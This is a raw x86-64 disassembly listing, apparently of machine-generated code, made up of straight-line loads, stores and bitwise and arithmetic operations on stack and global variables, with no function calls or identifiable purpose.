movzx eax, byte [rsp + 0x1c3]
mov rcx, qword [rsp + 0xd2b0]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xae18]
mov byte [rcx], al
lea rax, [rsp + 0x1320]
mov qword [rsp + 0xd9a8], rax
mov rax, qword [0x14019dc68]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x254]
xor eax, ecx
mov byte [rsp + 0x23e], al
mov eax, dword [rsp + 0x491c]
mov rcx, qword [rsp + 0xd358]
mov qword [rsp + 0xd9b0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd9b0]
mov eax, dword [rax]
shr eax, cl
mov dword [0x14019c124], eax
mov rax, qword [rsp + 0xa670]
mov eax, dword [rax]
mov dword [rsp + 0x5014], eax
movzx eax, byte [0x14019bf9e]
movzx ecx, byte [rsp + 0x14e]
or eax, ecx
mov rcx, qword [rsp + 0xc620]
mov byte [rcx], al
movzx eax, word [rsp + 0x1418]
movzx ecx, word [rsp + 0x1224]
and eax, ecx
mov rcx, qword [rsp + 0xbba8]
mov word [rcx], ax
lea rax, [rsp + 0x3f98]
mov qword [rsp + 0xd9b8], rax
mov rax, qword [rsp + 0xb4f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x33f0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc980]
mov dword [rcx], eax
lea rax, [rsp + 0x3420]
mov qword [rsp + 0xd9c0], rax
mov rax, qword [rsp + 0xa980]
mov ecx, dword [rsp + 0x4f60]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4bc8], eax
movzx eax, byte [rsp + 0x180]
movzx ecx, byte [rsp + 0x83]
add eax, ecx
mov rcx, qword [rsp + 0xae48]
mov byte [rcx], al
mov rax, qword [rsp + 0xb0f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xcca8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x14019c128], ax
lea rax, [0x14019c104]
mov qword [rsp + 0xd9c8], rax
mov eax, dword [rsp + 0x42a8]
mov ecx, dword [rsp + 0x478c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4550], eax
lea rax, [rsp + 0x4288]
mov qword [rsp + 0xd9d0], rax
mov rax, qword [rsp + 0xd400]
mov rcx, qword [rsp + 0xb918]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3c74], eax
mov rax, qword [rsp + 0xaa00]
mov eax, dword [rax]
mov dword [rsp + 0x5018], eax
movsx eax, word [rsp + 0x1190]
mov rcx, qword [rsp + 0xb558]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1004], ax
mov rax, qword [rsp + 0xcbe8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xbf10]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x292], al
movzx eax, word [rsp + 0xf80]
mov word [rsp + 0x14a8], ax
movzx eax, byte [rsp + 0x188]
mov rcx, qword [rsp + 0xbd30]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [0x14019bfab], al
mov rax, qword [rsp + 0xb158]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4860]
shl eax, cl
mov dword [rsp + 0x3c00], eax
lea rax, [rsp + 0x4220]
mov qword [rsp + 0xd9d8], rax
mov rax, qword [rsp + 0xc0a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xde4]
or eax, ecx
mov word [rsp + 0x1030], ax
mov rax, qword [rsp + 0xcfb0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb148]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xc590]
mov byte [rcx], al
mov rax, qword [rsp + 0xb3e8]
mov ecx, dword [rsp + 0x38a0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3754], eax
mov eax, dword [0x14019db08]
mov ecx, dword [rsp + 0x4018]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e18], eax
mov rax, qword [rsp + 0xbe70]
mov eax, dword [rax]
mov dword [rsp + 0x501c], eax
mov eax, dword [rsp + 0x416c]
mov ecx, dword [rsp + 0x4b80]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xcfc0]
mov dword [rcx], eax
movzx eax, word [rsp + 0x10c8]
movzx ecx, word [0x14019db18]
sub eax, ecx
mov rcx, qword [0x14019d8d8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x26d]
movzx ecx, byte [rsp + 0x151]
sub eax, ecx
mov byte [rsp + 0x255], al
mov eax, dword [rsp + 0x4e08]
mov dword [rsp + 0x5020], eax
mov rax, qword [rsp + 0xac30]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4acc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e58], eax
mov rax, qword [rsp + 0xd208]
movzx eax, word [rax]
mov word [rsp + 0x14ac], ax
movsx eax, byte [rsp + 0x27d]
movsx ecx, byte [rsp + 0x2a9]
add eax, ecx
mov rcx, qword [rsp + 0xc840]
mov byte [rcx], al
movzx eax, byte [str.UY:OiAU]
mov rcx, qword [rsp + 0xac90]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xd360]
mov byte [rcx], al
mov rax, qword [rsp + 0xada8]
movzx eax, word [rax]
mov word [rsp + 0x14b0], ax
mov eax, dword [rsp + 0x4758]
mov ecx, dword [rsp + 0x4468]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x46a8], eax
lea rax, [rsp + 0x4af8]
mov qword [0x14019e0e0], rax
lea rax, [rsp + 0x3cbc]
mov qword [rsp + 0xd9e0], rax
mov rax, qword [rsp + 0xd038]
mov ecx, dword [rsp + 0x4d04]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4aa4], eax
lea rax, [rsp + 0x42ac]
mov qword [rsp + 0xd9e8], rax
movzx eax, word [rsp + 0xec0]
movzx ecx, word [rsp + 0x1128]
xor eax, ecx
mov word [rsp + 0x11e4], ax
movzx eax, byte [rsp + 0x18d]
mov rcx, qword [rsp + 0xa4f8]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xb428]
mov byte [rcx], al
mov rax, qword [0x14019da40]
mov eax, dword [rax]
mov dword [rsp + 0x5024], eax
mov rax, qword [rsp + 0xccb0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xa708]
mov qword [rsp + 0xd9f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd9f0]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xcea8]
mov dword [rcx], eax
lea rax, [rsp + 0x3444]
mov qword [rsp + 0xd9f8], rax
mov rax, qword [rsp + 0xa770]
mov eax, dword [rax]
mov dword [0x14019e0e8], eax
movzx eax, word [0x14019c0ec]
movzx ecx, word [rsp + 0xde0]
sar eax, cl
mov rcx, qword [rsp + 0xc910]
mov word [rcx], ax
movzx eax, byte [rsp + 0xfd]
mov rcx, qword [rsp + 0xad18]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x17d], al
lea rax, [rsp + 0x7a]
mov qword [rsp + 0xda00], rax
movsx eax, word [0x14019c0dc]
mov rcx, qword [rsp + 0xc050]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa658]
mov word [rcx], ax
mov eax, dword [rsp + 0x427c]
mov dword [rsp + 0x5028], eax
mov eax, dword [rsp + 0x4548]
mov ecx, dword [rsp + 0x4df0]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xac10]
mov dword [rcx], eax
movzx eax, byte [0x14019bf3b]
mov rcx, qword [rsp + 0xc480]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x2aa], al
lea rax, [rsp + 0xde4]
mov qword [rsp + 0xda08], rax
mov eax, dword [0x14019bf48]
mov ecx, dword [rsp + 0x4320]
add ecx, eax
mov eax, ecx
mov rcx, qword [0x14019e020]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa460]
mov rcx, qword [rsp + 0xb328]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xb4a0]
mov dword [rcx], eax
lea rax, [rsp + 0x4930]
mov qword [rsp + 0xda10], rax
mov rax, qword [rsp + 0xb658]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x42dc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4d38], eax
mov rax, qword [rsp + 0xa488]
movzx eax, byte [rax]
mov byte [rsp + 0x2c6], al
movzx eax, word [rsp + 0x1048]
movzx ecx, word [rsp + 0xbdc]
sub eax, ecx
mov word [rsp + 0x1434], ax
mov eax, dword [0x14019db58]
mov ecx, dword [rsp + 0x4368]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x40e4], eax
lea rax, [rsp + 0x44dc]
mov qword [rsp + 0xda18], rax
mov rax, qword [rsp + 0xcba8]
mov ecx, dword [rsp + 0x477c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xd7d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xca20]
mov ecx, dword [0x14019df50]
mov eax, dword [rax]
add eax, ecx
mov dword [0x14019c10c], eax
mov eax, dword [rsp + 0x4310]
mov dword [rsp + 0x502c], eax
mov rax, qword [rsp + 0xc948]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1a1]
shl eax, cl
mov rcx, qword [rsp + 0xc8a8]
mov byte [rcx], al
movsx eax, word [rsp + 0xafc]
movsx ecx, word [rsp + 0xe8c]
or eax, ecx
mov word [rsp + 0x13d4], ax
lea rax, [rsp + 0x60]
mov qword [rsp + 0xda20], rax
movzx eax, word [rsp + 0x1304]
movzx ecx, word [rsp + 0x14b0]
sar eax, cl
mov word [rsp + 0x1388], ax
mov eax, dword [rsp + 0x4f40]
mov ecx, dword [0x14019db08]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x3b70], eax
mov rax, qword [rsp + 0xcbe0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4484]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xd4f8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb930]
movzx eax, word [rax]
movzx ecx, word [0x14019bfa8]
sub eax, ecx
mov rcx, qword [rsp + 0xcfe8]
mov word [rcx], ax
mov rax, qword [rsp + 0xbfd8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa628]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x14019bff6], al
lea rax, [rsp + 0x4570]
mov qword [rsp + 0xda28], rax
mov eax, dword [str.so_g_]
mov ecx, dword [rsp + 0x45fc]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc170]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc0c0]
mov eax, dword [rax]
mov dword [rsp + 0x5030], eax
mov rax, qword [rsp + 0xd220]
mov rcx, qword [rsp + 0xa840]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xcbb8]
mov dword [rcx], eax
movzx eax, word [rsp + 0xf64]
mov rcx, qword [rsp + 0xb370]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x12c4], ax
mov rax, qword [rsp + 0xad28]
movzx eax, byte [rax]
mov byte [rsp + 0x2c7], al
mov eax, dword [rsp + 0x4334]
mov ecx, dword [rsp + 0x497c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x47c4], eax
lea rax, [rsp + 0x4878]
mov qword [rsp + 0xda30], rax
lea rax, [rsp + 0x20b]
mov qword [0x14019e0f0], rax
mov rax, qword [rsp + 0xd508]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xcb4]
add eax, ecx
mov rcx, qword [rsp + 0xb440]
mov word [rcx], ax
lea rax, [rsp + 0x253]
mov qword [rsp + 0xda38], rax
movzx eax, word [0x14019d850]
mov rcx, qword [rsp + 0xd8f8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xeec], ax
mov eax, dword [rsp + 0x4f4c]
mov rcx, qword [rsp + 0xcbb8]
mov qword [rsp + 0xda40], rcx
movzx ecx, al
mov rax, qword [rsp + 0xda40]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xc690]
mov dword [rcx], eax
mov rax, qword [rsp + 0xd150]
mov eax, dword [rax]
mov dword [rsp + 0x5034], eax
mov rax, qword [rsp + 0xa460]
mov eax, dword [rax]
mov ecx, dword [0x14019c098]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x3d1c], eax
mov eax, dword [rsp + 0x458c]
mov dword [rsp + 0x5038], eax
mov rax, qword [rsp + 0xb038]
mov rcx, qword [rsp + 0xd898]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x4ee0], eax
mov rax, qword [0x14019e038]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd188]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xac78]
mov byte [rcx], al
movzx eax, word [rsp + 0x1280]
mov rcx, qword [rsp + 0xa868]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x14019dce0], ax
mov rax, qword [rsp + 0xcac8]
mov eax, dword [rax]
mov dword [rsp + 0x503c], eax
mov rax, qword [rsp + 0xbdc0]
mov ecx, dword [rsp + 0x4e00]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4180], eax
lea rax, [rsp + 0x4b0c]
mov qword [rsp + 0xda48], rax
mov rax, qword [rsp + 0xc890]
mov ecx, dword [0x14019c084]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xb580]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa800]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xedc]
sub eax, ecx
mov word [rsp + 0x10c4], ax
lea rax, [rsp + 0x237]
mov qword [rsp + 0xda50], rax
mov rax, qword [rsp + 0xb0a0]
movsx eax, word [rax]
movsx ecx, word [0x14019bf24]
add eax, ecx
mov word [rsp + 0x1104], ax
lea rax, [rsp + 0x14d]
mov qword [rsp + 0xda58], rax
lea rax, [rsp + 0x4290]
mov qword [0x14019e0f8], rax
mov eax, dword [rsp + 0x4dc4]
mov ecx, dword [rsp + 0x365c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb668]
mov dword [rcx], eax
lea rax, [rsp + 0x26a]
mov qword [rsp + 0xda60], rax
mov rax, qword [rsp + 0xcca8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xff0]
sub eax, ecx
mov rcx, qword [rsp + 0xba00]
mov word [rcx], ax
mov eax, dword [rsp + 0x36f0]
mov ecx, dword [rsp + 0x3af4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4b0c], eax
lea rax, [rsp + 0x3b70]
mov qword [rsp + 0xda68], rax
mov eax, dword [rsp + 0x4770]
mov ecx, dword [rsp + 0x4da8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4d64], eax
lea rax, [rsp + 0x47fc]
mov qword [rsp + 0xda70], rax
mov rax, qword [0x14019da80]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf10]
add eax, ecx
mov rcx, qword [rsp + 0xbde8]
mov word [rcx], ax
mov rax, qword [rsp + 0xb330]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x19d]
or eax, ecx
mov rcx, qword [0x14019e068]
mov byte [rcx], al
mov eax, dword [rsp + 0x4f4c]
movzx ecx, al
mov eax, dword [rsp + 0x4a48]
shr eax, cl
mov rcx, qword [rsp + 0xc640]
mov dword [rcx], eax
mov eax, dword [rsp + 0x48fc]
mov dword [rsp + 0x5040], eax
mov rax, qword [rsp + 0xd078]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4f54]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4f58], eax
lea rax, [rsp + 0x4ec8]
mov qword [rsp + 0xda78], rax
mov eax, dword [rsp + 0x4eac]
mov rcx, qword [0x14019db40]
mov qword [rsp + 0xda80], rcx
movzx ecx, al
mov rax, qword [rsp + 0xda80]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x3ee8], eax
mov rax, qword [rsp + 0xa790]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa5f8]
movsx ecx, word [rcx]
cdq
idiv ecx
mov word [rsp + 0xf84], ax
mov rax, qword [0x14019d9d0]
movzx eax, byte [rax]
mov byte [rsp + 0x2c8], al
movzx eax, word [rsp + 0x10f8]
movzx ecx, word [rsp + 0x11a8]
and eax, ecx
mov word [rsp + 0x1428], ax
mov rax, qword [rsp + 0xb678]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xac78]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x14019bff7], al
lea rax, [0x14019c0c0]
mov qword [rsp + 0xda88], rax
mov rax, qword [rsp + 0xa758]
mov rcx, qword [rsp + 0xc6e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xb670]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb758]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x14b0]
add eax, ecx
mov word [rsp + 0x1090], ax
movzx eax, byte [0x14019d7e6]
mov byte [rsp + 0x2c9], al
mov rax, qword [rsp + 0xacd8]
mov rcx, qword [rsp + 0xb548]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4a1c], eax
mov rax, qword [rsp + 0xacc8]
mov rcx, qword [rsp + 0xb8f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x34b4], eax
mov rax, qword [rsp + 0xca00]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4b74]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e50], eax
lea rax, [rsp + 0x3bc8]
mov qword [rsp + 0xda90], rax
mov rax, qword [rsp + 0xb0f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x100c]
sub eax, ecx
mov rcx, qword [0x14019da78]
mov word [rcx], ax
movzx eax, byte [rsp + 0x2c9]
mov rcx, qword [rsp + 0xd360]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xd2a8]
mov byte [rcx], al
mov eax, dword [rsp + 0x4890]
mov ecx, dword [rsp + 0x4504]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4de0], eax
lea rax, str.Po.b
mov qword [rsp + 0xda98], rax
mov rax, qword [rsp + 0xae38]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc120]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1054], ax
lea rax, [rsp + 0x166]
mov qword [rsp + 0xdaa0], rax
movzx eax, byte [rsp + 0x1de]
movzx ecx, byte [rsp + 0x17d]
xor eax, ecx
mov byte [rsp + 0x9a], al
movzx eax, word [rsp + 0x10d8]
mov rcx, qword [rsp + 0xab00]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xa828]
mov word [rcx], ax
mov rax, qword [rsp + 0xbb48]
mov eax, dword [rax]
mov dword [rsp + 0x5044], eax
mov eax, dword [rsp + 0x4ab0]
mov dword [0x14019e100], eax
mov eax, dword [rsp + 0x45cc]
movzx ecx, al
mov eax, dword [0x14019df60]
shl eax, cl
mov dword [rsp + 0x4530], eax
mov eax, dword [rsp + 0x43e4]
mov dword [rsp + 0x5048], eax
mov rax, qword [rsp + 0xb6b0]
mov ecx, dword [rsp + 0x44f0]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xce70]
mov dword [rcx], eax
movzx eax, byte [0x14019bf0b]
mov rcx, qword [rsp + 0xa540]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x2ae], al
lea rax, [rsp + 0x11c0]
mov qword [rsp + 0xdaa8], rax
mov eax, dword [rsp + 0x45ec]
mov ecx, dword [rsp + 0x4be8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5030], eax
lea rax, [rsp + 0x4f50]
mov qword [rsp + 0xdab0], rax
mov eax, dword [rsp + 0x4d14]
mov ecx, dword [rsp + 0x4a30]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb038]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb080]
mov ecx, dword [0x14019c05c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [0x14019dd00]
mov dword [rcx], eax
mov rax, qword [rsp + 0xba00]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa868]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xdc4], ax
lea rax, [rsp + 0x1f4]
mov qword [rsp + 0xdab8], rax
mov rax, qword [rsp + 0xd6b0]
movsx eax, byte [rax]
mov rcx, qword [0x14019dd10]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xcc68]
mov byte [rcx], al
movzx eax, word [rsp + 0x1444]
mov word [rsp + 0x14b4], ax
mov eax, dword [rsp + 0x43bc]
mov ecx, dword [rsp + 0x4664]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbaf8]
mov dword [rcx], eax
lea rax, [rsp + 0x4708]
mov qword [rsp + 0xdac0], rax
movzx eax, word [0x14019c048]
movzx ecx, word [rsp + 0x13e4]
add eax, ecx
mov word [rsp + 0x10fc], ax
mov rax, qword [rsp + 0xc620]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x237]
sar eax, cl
mov byte [rsp + 0x245], al
mov rax, qword [rsp + 0xbf58]
mov eax, dword [rax]
mov ecx, dword [0x14019dcb0]
xor ecx, eax
mov eax, ecx
mov dword [0x14019c038], eax
mov rax, qword [rsp + 0xa598]
mov eax, dword [rax]
mov dword [rsp + 0x504c], eax
mov eax, dword [rsp + 0x4454]
mov ecx, dword [rsp + 0x45fc]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa6c8]
mov dword [rcx], eax
lea rax, [rsp + 0x46e8]
mov qword [rsp + 0xdac8], rax
movzx eax, word [rsp + 0x1228]
movzx ecx, word [rsp + 0x1304]
shl eax, cl
mov rcx, qword [rsp + 0xc148]
mov word [rcx], ax
movzx eax, byte [rsp + 0x1ad]
mov rcx, qword [rsp + 0xc610]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xc7b8]
mov byte [rcx], al
lea rax, [0x14019c118]
mov qword [rsp + 0xdad0], rax
mov eax, dword [rsp + 0x4a70]
mov ecx, dword [rsp + 0x49b8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xd990]
mov dword [rcx], eax
lea rax, [rsp + 0x3e84]
mov qword [rsp + 0xdad8], rax
mov rax, qword [0x14019e080]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4ea8]
sub ecx, eax
mov eax, ecx
mov dword [0x14019c12c], eax
mov rax, qword [rsp + 0xba98]
mov rcx, qword [rsp + 0xda30]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4180], eax
movsx eax, byte [rsp + 0x18c]
mov rcx, qword [rsp + 0xafa8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xbf10]
mov byte [rcx], al
lea rax, [rsp + 0x1190]
mov qword [rsp + 0xdae0], rax
mov rax, qword [rsp + 0xa800]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xdc4]
add eax, ecx
mov rcx, qword [rsp + 0xc888]
mov word [rcx], ax
mov rax, qword [rsp + 0xc7b8]
movzx eax, byte [rax]
mov byte [rsp + 0x2ca], al
mov rax, qword [0x14019db88]
mov ecx, dword [rsp + 0x4ff8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4794], eax
lea rax, [rsp + 0x3d1c]
mov qword [rsp + 0xdae8], rax
movzx eax, byte [rsp + 0x21d]
movzx ecx, byte [rsp + 0x195]
add eax, ecx
mov byte [rsp + 0x21c], al
movzx eax, word [0x14019c030]
mov rcx, qword [rsp + 0xab40]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x14019dbf0]
mov word [rcx], ax
mov rax, qword [rsp + 0xd770]
mov ecx, dword [rsp + 0x4404]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4364], eax
lea rax, [rsp + 0x3bc8]
mov qword [rsp + 0xdaf0], rax
mov rax, qword [rsp + 0xab80]
mov rcx, qword [rsp + 0xcc18]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x4f8c], eax
lea rax, [rsp + 0x4890]
mov qword [rsp + 0xdaf8], rax
movzx eax, byte [rsp + 0x152]
mov rcx, qword [0x14019d9e0]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x235], al
mov rax, qword [rsp + 0xba30]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x12b8]
or eax, ecx
mov rcx, qword [rsp + 0xc668]
mov word [rcx], ax
mov eax, dword [rsp + 0x44b4]
mov dword [rsp + 0x5050], eax
mov rax, qword [0x14019dc90]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4f30]
sar eax, cl
mov rcx, qword [rsp + 0xba10]
mov dword [rcx], eax
lea rax, [rsp + 0x1014]
mov qword [0x14019e108], rax
mov rax, qword [rsp + 0xa620]
movzx eax, byte [rax]
mov byte [rsp + 0x2cb], al
movzx eax, word [rsp + 0x11a0]
mov rcx, qword [rsp + 0xd428]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xd38], ax
mov rax, qword [rsp + 0xd1f0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x156]
sub eax, ecx
mov byte [rsp + 0x1b2], al
mov eax, dword [rsp + 0x44c0]
mov dword [rsp + 0x5054], eax
mov rax, qword [rsp + 0xc868]
mov rcx, qword [rsp + 0xd4a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4570], eax
mov rax, qword [0x14019dfb8]
mov ecx, dword [rsp + 0x4984]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3cb0], eax
mov rax, qword [rsp + 0xbd88]
mov rcx, qword [rsp + 0xaf30]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xcd88]
mov dword [rcx], eax
mov eax, dword [0x14019bef8]
mov ecx, dword [rsp + 0x4eb0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xadc0]
mov dword [rcx], eax
lea rax, [rsp + 0x167]
mov qword [rsp + 0xdb00], rax
movzx eax, word [rsp + 0x11bc]
movzx ecx, word [rsp + 0xf5c]
add eax, ecx
mov word [0x14019c130], ax
mov rax, qword [rsp + 0xcc40]
mov eax, dword [rax]
mov ecx, dword [0x14019d908]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc488]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc880]
mov eax, dword [rax]
mov dword [rsp + 0x5058], eax
mov rax, qword [rsp + 0xb070]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4bbc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x42b0], eax
mov rax, qword [rsp + 0xd368]
mov eax, dword [rax]
mov dword [rsp + 0x505c], eax
movzx eax, byte [rsp + 0x156]
mov rcx, qword [rsp + 0xd748]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1ab], al
movzx eax, word [rsp + 0xeec]
movzx ecx, word [rsp + 0xc9c]
sub eax, ecx
mov word [rsp + 0x1154], ax
lea rax, [0x14019bf64]
mov qword [rsp + 0xdb08], rax
mov rax, qword [rsp + 0xb710]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc948]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x14d], al
mov rax, qword [rsp + 0xa4c8]
mov ecx, dword [rsp + 0x4418]
mov eax, dword [rax]
xor eax, ecx
mov dword [0x14019bf70], eax
mov rax, qword [0x14019d978]
mov eax, dword [rax]
mov dword [rsp + 0x5060], eax
movzx eax, byte [rsp + 0x244]
mov rcx, qword [rsp + 0xab68]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xbfd8]
mov byte [rcx], al
mov rax, qword [rsp + 0xd3a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1468]
or eax, ecx
mov rcx, qword [rsp + 0xbdd8]
mov word [rcx], ax
lea rax, [rsp + 0x4768]
mov qword [rsp + 0xdb10], rax
mov rax, qword [rsp + 0xc210]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x41c4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4844], eax
mov rax, qword [rsp + 0xc560]
mov eax, dword [rax]
mov dword [rsp + 0x5064], eax
mov rax, qword [0x14019ddf0]
mov rcx, qword [rsp + 0xa360]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x43cc], eax
mov rax, qword [rsp + 0xadc8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x24d]
add eax, ecx
mov byte [rsp + 0x1f1], al
movzx eax, word [rsp + 0x1198]
mov rcx, qword [0x14019d900]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x14019c134], ax
mov eax, dword [rsp + 0x4b84]
mov dword [rsp + 0x5068], eax
mov eax, dword [rsp + 0x35fc]
mov ecx, dword [rsp + 0x4884]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3e4c], eax
mov rax, qword [rsp + 0xc138]
mov eax, dword [rax]
mov dword [rsp + 0x506c], eax
mov eax, dword [rsp + 0x481c]
mov ecx, dword [rsp + 0x4880]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x429c], eax
